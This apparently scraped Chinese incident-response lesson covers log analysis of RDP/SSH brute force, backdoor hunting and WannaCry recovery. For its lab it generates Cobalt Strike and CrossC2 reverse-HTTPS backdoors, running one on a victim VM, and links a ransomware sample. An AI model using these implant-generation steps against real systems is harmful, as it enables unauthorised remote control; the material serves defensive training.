失眠网,内容丰富有趣,生活中的好帮手!
失眠网 > p74 应急响应-winlinux 分析后门勒索病毒攻击

p74 应急响应-winlinux 分析后门勒索病毒攻击

时间:2022-10-28 00:40:34

相关推荐

p74 应急响应-winlinux 分析后门勒索病毒攻击

数据来源

操作系统(windows,linux)应急响应:

常见危害:暴力破解,漏洞利用,流量攻击,木马控制(Webshell,PC 木马等),病毒感染(挖矿,蠕虫,勒索等)常见分析:计算机账户,端口,进程,网络,启动,服务,任务,文件等安全问题

常见日志类别及存储:

Windows,Linux

补充资料:

应急响应大合集 - 先知社区 ()值得收藏!史上最全Windows安全工具锦集 - | 安全脉搏系统内部 - 系统内部 |微软学习 ()

病毒分析

PCHunter:火绒剑:Process Explorer:/zh-cn/sysinternals/downloads/process-explorerprocesshacker:https://processhacker.sourceforge.io/downloads.phpautoruns:/en-us/sysinternals/downloads/autorunsOTL:/download/otl/SysInspector:/download/detail/?product=sysinspector

病毒查杀

卡巴斯基:http://devbuilds.kaspersky-/devbuilds/KVRT/latest/full/KVRT.exe大蜘蛛:http://free.drweb.ru/download+cureit+free火绒安全软件:360 杀毒:/download_center.html

病毒动态

CVERC-国家计算机病毒应急处理中心:.cn微步在线威胁情报社区:火绒安全论坛:/forum-59-1.html爱毒霸社区:腾讯电脑管家:http://bbs./forum-2-1.html

在线病毒扫描网站

// 多引擎在线病毒扫描网// 腾讯哈勃分析系统 // Jotti 恶意软件扫描系统 // 计算机病毒、手机病毒、可疑文件分析

演示案例:

攻击响应-暴力破解(RDP,SSH)-Win,Linux控制响应-后门木马(Webshell,PC)-Win,Linux危害响应-病毒感染(勒索 WannaCry)-Windows自动化响应检测-Gscan 多重功能脚本测试-Linux

案例 1-攻击响应-暴力破解(RDP,SSH)-Win,Linux

先演示一下Windows系统的

1)日志文件默认位置:(参考)

应用程序日志、安全日志、系统日志、DNS日志默认位置:%systemroot%\system32\config,默认文件大小512KB,管理员都会改变这个默认大小。安全日志文件:%systemroot%\system32\config\SecEvent.EVT系统日志文件:%systemroot%\system32\config\SysEvent.EVT应用程序日志文件:%systemroot%\system32\config\AppEvent.EVTInternet信息服务FTP日志默认位置:%systemroot%\system32\logfiles\msftpsvc1\,默认每天一个日志Internet信息服务WWW日志默认位置:%systemroot%\system32\logfiles\w3svc1\,默认每天一个日志Scheduler服务日志默认位置:%systemroot%\schedlgu.txt

2)windows自带日志工具(查找分析不方便,推荐使用插件LogFusion)

3)Windows-LogFusion 载入查看:(建议在windows10以上的系统安装)

工具下载:/s/1tQS1mUelmEh3I68AL7yXGg 提取码:xiao

工具使用前提

LogFusion载入应用程序、硬件事件、安全、系统等日志

事件归类,事件 ID,事件状态等,参考百度资料

打开本地的日志

日志打开需要点时间(大概2到3分钟)

win10默认好像是不记录远程桌面的访问记录:怎么在Windows10启用远程协助的会话日志记录-百度经验 ()

使用弱口令工具攻击看看

然后回到我们的日志分析软件就能查看到刚才暴力破解的日志,注意这里查看的是安全日志

在安全日志里看到很多账户登录失败的日志,可以判断当前主机遭受了爆破攻击,以及是否成功等

打开远程的日志

Linux系统-grep 筛选:

我这里在电脑开虚拟机,然后在真实机使用xshell连接执行命令

Linux系统日志文件相关介绍:(参考)

Linux系统日志文件存放在/var/log/目录下,该目录是系统日志文件的保存位置;除此之外,采用RPM包方式安装的系统服务也会默认把日志记录在/var/log/目录中。Linux日志文件说明 ①/var/log/messages:该文件记录着服务器系统发生的所有错误信息或重要的信息,所以这个文件相当重要,如果系统发生莫名的错误时,这个文件是必查的日志文件之一。/var/log/secure:该文件记录服务器牵扯到需要输入账号密码的软件,当登入时都会被记录到这个文件中,包括系统的login程序、图形界面登入所使用的gdm程序、su、sudo等程序,还有网络远程的ssh、telnet等程序,登入信息都会被记载。/var/log/maillog:该文件记录服务器邮件的来往信息,其实主要记录SMTP和POP3协议提供者所产生的信息。/var/log/cron:与定时任务相关的日志信息。/var/log/spooler:与UUCP和news设备相关的日志信息。/var/log/boot.log:守护进程启动和停止相关的日志信息。/var/log/wtmp:该日志文件永久记录每个用户登录、注销及系统的启动、停机的事件

先用工具攻击一下目标主机

参考:Linux应急响应基础 - 我是菜狗2 - 博客园 ()

1、统计了下日志,确认服务器遭受多少次暴力破解

# 因为暴力破解肯定会会有登录失败的情况,所以这里筛选 Failed passwordgrep -o "Failed password" /var/log/secure|uniq -c# Ubuntu系统grep -o "Failed password" /var/log/auth.log|uniq -c

secure文件只有 root 用户拥有读权限,其他用户没有任何权限,这样就保证了用户密码的安全性。

注意,如果这个文件的权限发生了改变,则需要注意是否是恶意攻击。

我开的虚拟机是Ubuntu,运行命令报错“grep: /var/log/secure: 没有那个文件或目录

”查看了一下百度Ubuntu系统记录服务器牵扯到需要输入账号密码的软件的文件名是auth.log改一下就好了(参考)

2、输出登录爆破的第一行和最后一行,确认爆破时间范围:

grep "Failed password" /var/log/secure|head -1grep "Failed password" /var/log/secure|tail -1# Ubuntu系统# 查看日志中第一次出现关键字Failed password的信息,确认攻击者第一次爆破的时间grep "Failed password" /var/log/auth.log|head -1 # 查看日志中第一次出现关键字Failed password的信息,确认攻击者最后一次爆破的时间grep "Failed password" /var/log/auth.log|tail -1

3、进一步定位有哪些 IP 在爆破?

grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0- 4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0- 9]?)"|uniq -c | sort -nr# Ubuntu系统grep "Failed password" /var/log/auth.log|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c

4、爆破用户名字典都有哪些?

grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort - nr# Ubuntu系统grep "Failed password" /var/log/auth.log|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr

5、登录成功的日期、用户名、IP:

grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}' grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more# Ubuntu系统grep "Accepted " /var/log/auth.log | awk '{print $1,$2,$3,$9,$11}'

案例 2-控制响应-后门木马(Webshell,PC)-Win,Linux

windows:

默认配置测试

1)首先启动cs(如果你的虚拟机没有下载cs:cobaltstrike的安装与基础使用)

运行服务端程序,192.168.0.104是本机IP,user 是要设置的连接密码(可改)

./teamserver192.168.1.3 user

在 cs4.0目录下新建终端,输入如下命令运行客户端程序

java -Dfile.encoding=UTF-8 -javaagent:CobaltStrikeCN.jar -XX:ParallelGCThreads=4 -XX:+AggressiveHeap

最后连接登录进去

2)生成Windows的后门木马

前提是你要创建监听器,不然受害者运行了木马你也不知道

创建一个新的监听器 -> 填写监听器名称(随便写,不重复就行)-> 选择有效载荷/攻击模块/攻击方式

添加HTTP主机

添加要在开启监听的HTTP端口:0-65535在这个取值范围中1023以下的端口已经分配给了常用的一些应用程序,建议往大的填,避免端口被占用(重复)--> 最后保存即可

开始创建木马文件

3)在目标windows虚拟机中运行木马文件

4)回到cs查看

这边就能看到目标上线了

5)回到win分析进程,找出木马

这里使用PCHunter工具进行辅助分析,工具下载:百度网盘

工具的介绍:

TCPView(网络分析)TCPView for Windows - Sysinternals | Microsoft LearnProcess Explorer(进程分析)PCHunter64(综合)UserAssistView(文件启动)命令行netstat -ano(网络分析)Autoruns(启动项排查)MemScanner(进程分析)Sysmon(系统监控)

一般的木马是没有产商信息

但是有些伪装的很好所以这个不能作为我们判断的唯一标准,可以再借助一些其他信息辅助我们进行判断

远程ip

可以在目标主机的命令行查看端口信息

# 查看本机端口开放信息netstat -an

计划任务

系统用户名

还可以借助一些杀毒软件:腾讯、360、火绒这些

linux 借助 CrossC2 项目:

我这里又安装了cs3.14又因为cs的版本要与CrossC2相对应才行,搞了一天才发现这个问题,CS3.14 <——>CrossC2 -v2.1版本,其他版本的对应关系可以自己尝试

1)开启cs3.14服务端与客户端 (使用方式与上面介绍的CS4.0是一样的)

# 启动服务端./teamserver 192.168.1.3 root

# 启动客户端java -Dfile.encoding=UTF-8 -javaagent:CobaltStrikeCN.jar -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar

2)下载linux插件CrossC2-v2.1

打开Github:GitHub - gloxec/CrossC2: generate CobaltStrike's cross-platform payload

3)生成linux木马

方式一:脚本的方式生成 (genCrossC2.Linux)

# 运行脚本genCrossC2.Linux 系统类型、生成的文件名(这里也可以写文件路径,生成到指定的文件路径如:tmp\c2)./genCrossC2.Linux 监听器ip 监听器端口null null Linux x64 C2

方式二:

按道理来说会有个弹框,弹框内会有个下载链接但是我这里没有反应(我之前用3.1版本的插件就就是这样),应该是cs与插件的版本不是很匹配,不管了有一种方式生成木马辅助我们学习就好,毕竟我们不是要做违法的事,知道有这种方式就好。

4)有了木马之后要创建一个监听器,这个插件只支持https的协议(windows/beacon_https/reverse_https),所以我们要创建https的监听器,注意:监听器的ip与端口要与刚才的木马文件相对应

可以直接在当前的攻击机运行木马测试一下(我这里的cs是安装的kali中的所以可以运行linux的木马文件)

kali成功上线

5)把木马拿到受害者主机运行

# 赋予执行权限chmod +x 木马文件名

6)接下来就是分析日志,查找后门等(通过网络监听工具及 windows 日志分析或执行记录查找后门问题)

手动分析系统日志的方法在上面案例一的有介绍,使用脚本自动化检测会在案例4演示

这里演示一下查看系统开放端口,查找后门

# 可以查看tcp端口netstat -ntl

应该是我的虚拟机的问题,我看别人的可以

然后再通过ps命令找到对应的进程,分析其是否是木马病毒

# 查看进程ps aux

案例 3 -危害响应-病毒感染(勒索 WannaCry)-Windows(一般情况下我们的杀毒软件会直接将病毒程序杀死)

详细说明中毒表现及恢复指南

推荐2个勒索病毒解密网站

安全卫士勒索病毒专题:文件恢复_安全卫士离线救灾版_文档卫士 ()

主页面 | The No More Ransom Project

[下载]永恒之蓝样本(勒索病毒): https://bbs./thread-217586-1.htm

不要在真实机运行病毒

病毒运行效果:打开任何文件都是乱码

1)打开解密网站

解码刑警 | The No More Ransom Project

换360的解密网站看看:安全卫士勒索病毒专题:文件恢复_安全卫士离线救灾版_文档卫士 ()

不过在页面后面他推荐360解密大师,下载试试

2)使用360看看能不能解决

注意:要先使用杀毒软件把病毒干掉,不然文件恢复了以后也会被加密

案例 4-自动化响应检测-Gscan 多重功能脚本测试-Linux

自动化响应检测工具:GScan(这个是python语言的脚本)、chkrootkit(c语言的脚本)、rkhunter、lynis

工具对比:(都下载一下,应急响应时全都跑一遍

GScan程序定位为安全人员提供的一项入侵检测工具,旨在尽可能的发现入侵痕迹,溯源出黑客攻击的整个路径。chkrootkit 程序定位为安全人员提供的一项入侵检测工具,旨在发现被植入的后门或者rootkit。rkhunter 程序定位为安全人员提供的一项入侵检测工具,旨在发现被植入的后门或者rootkit。lynis程序定位为安全人员日常使用的一款用于主机基线和审计的工具,可辅助漏洞扫描和配置管理,也可部分用于入侵检测。

Gscan 工具下载:GitHub - grayddq/GScan: 本程序旨在为安全应急响应人员对Linux主机排查时提供便利,实现主机侧Checklist的自动全面化检测,根据检测结果自动数据聚合,进行黑客攻击路径溯源。

1)下载Gscan

命令行执行运行命令即可

# 如果没有安装git:yum -y install gitgit clone /grayddq/GScan.git

2)运行脚本进行检测

执行时间:默认安全扫描大概执行时间为4~6分钟,完全扫描在1~2小时之间,程序执行时间的长度由检测文件的多少决定,有可能会存在较长的时间,请耐心等待

# 切换管理员模式sudo su# 查看脚本参数python3 GScan.py -h# 运行脚本python3 GScan.py

漫长的等待,最后可以检测出可能存在风险的地方(直接将木马文件复制粘贴到目标主机中的是检测不出来的,如果是命令执行的方式下载并运行的就可以检测的出来)

涉及资源:

应急响应大合集 - 先知社区 ()安全卫士勒索病毒专题:文件恢复_安全卫士离线救灾版_文档卫士 ()GitHub - gloxec/CrossC2: generate CobaltStrike's cross-platform payloadGitHub - darkr4y/geacon:练习Go编程并在Go中实现CobaltStrike的BeaconGitHub - grayddq/GScan: 本程序旨在为安全应急响应人员对Linux主机排查时提供便利,实现主机侧Checklist的自动全面化检测,根据检测结果自动数据聚合,进行黑客攻击路径溯源。[下载]永恒之蓝样本(勒索病毒)-软件逆向-看雪论坛-安全社区|安全招聘| ()主页面 | The No More Ransom ProjectSysinternals - Sysinternals | Microsoft Learn值得收藏!史上最全Windows安全工具锦集 - | 安全脉搏/s/1tQS1mUelmEh3I68AL7yXGg 提取码:xiao

如果觉得《p74 应急响应-winlinux 分析后门勒索病毒攻击》对你有帮助,请点赞、收藏,并留下你的观点哦!

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。